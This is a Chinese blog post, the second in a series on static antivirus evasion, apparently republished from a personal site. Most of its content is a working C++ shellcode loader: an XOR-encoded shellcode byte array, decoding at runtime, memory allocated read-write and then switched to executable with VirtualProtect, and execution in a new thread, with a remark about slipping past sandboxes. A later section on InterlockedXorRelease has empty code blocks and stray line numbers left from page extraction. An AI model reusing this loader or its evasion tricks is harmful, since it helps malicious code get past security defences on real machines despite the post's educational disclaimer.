静态恶意代码逃逸(二)
0x01 关于内存申请的优化
在申请内存页时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。
VirtualProtect 是一个Windows函数,用于修改内存页的保护属性。它允许程序员在运行时更改内存页的访问权限,例如将可执行的内存页标记为只读,或将只读内存页标记为可写。
函数原型如下:
1 |
|
参数说明:
lpAddress
:指向要修改保护属性的内存页的起始地址。dwSize
:要修改的内存页的大小,以字节为单位。flNewProtect
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
:新的保护属性,可以是以下值之一:
- `PAGE_EXECUTE`:可执行和可读。
- `PAGE_EXECUTE_READ`:可执行、可读和不能写。
- `PAGE_EXECUTE_READWRITE`:可执行、可读和可写。
- `PAGE_EXECUTE_WRITECOPY`:可执行、可读和写入时复制。
- `PAGE_NOACCESS`:无法访问。
- `PAGE_READONLY`:只读。
- `PAGE_READWRITE`:可读和可写。
- `PAGE_WRITECOPY`:写入时复制。
- `lpflOldProtect`:用于存储修改前的保护属性的变量的指针。
函数返回值为 `BOOL` 类型,如果函数调用成功,则返回非零值;如果函数调用失败,则返回零。可以使用 `GetLastError` 函数获取更多有关错误信息的详细信息。
```c++
#include <Windows.h>
unsigned char buf[] =
"\xf6\xe2\x88\x0a\x0a\x0a\x6a\x83\xef\x3b\xca\x6e\x81\x5a\x3a"
"\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5"
"\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xf8\x58"
"\x5d\x81\x58\x1a\x81\x40\x36\x81\x46\x1b\x72\xe9\x42\x0b\xdb"
"\x5b\x81\x53\x2a\x0b\xd9\x81\x43\x12\xe9\x30\x43\x81\x3e\x81"
"\x0b\xdc\x3b\xf5\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfc\x09"
"\x77\xf2\x31\x77\x2e\x7f\xee\x52\x81\x52\x2e\x0b\xd9\x6c\x81"
"\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e"
"\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x55\x55\x50\x81\x18\xe1"
"\x87\x57\x60\x0b\x87\x8f\xb8\x0a\x0a\x0a\x5a\x62\x3b\x81\x65"
"\x8d\xf5\xdf\xb1\xfa\xbf\xa8\x5c\x62\xac\x9f\xb7\x97\xf5\xdf"
"\x36\x0c\x76\x00\x8a\xf1\xea\x7f\x0f\xb1\x4d\x19\x78\x65\x60"
"\x0a\x59\xf5\xdf\x69\x6b\x66\x69\x24\x6f\x72\x6f\x0a";
// 入口函数
int main(int argc, char* argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
// 等待几秒,兴许可以跳过某些沙盒呢?
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
0x02 InterlockedXorRelease函数
我在学习《Windows核心编程》的过程中,发现InterlockedXorRelease函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步。
1 |
|
参数说明:
Destination
:指向要执行异或操作的变量的指针。这个参数应该是一个volatile char
类型的指针,表示一个 8 位有符号整数变量。Value
:要与Destination
变量进行异或操作的值。
1 |
|
1 |
|
参考
声明
此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。
静态恶意代码逃逸(二)
https://unam4.github.io/2024/06/04/静态恶意代码逃逸-二/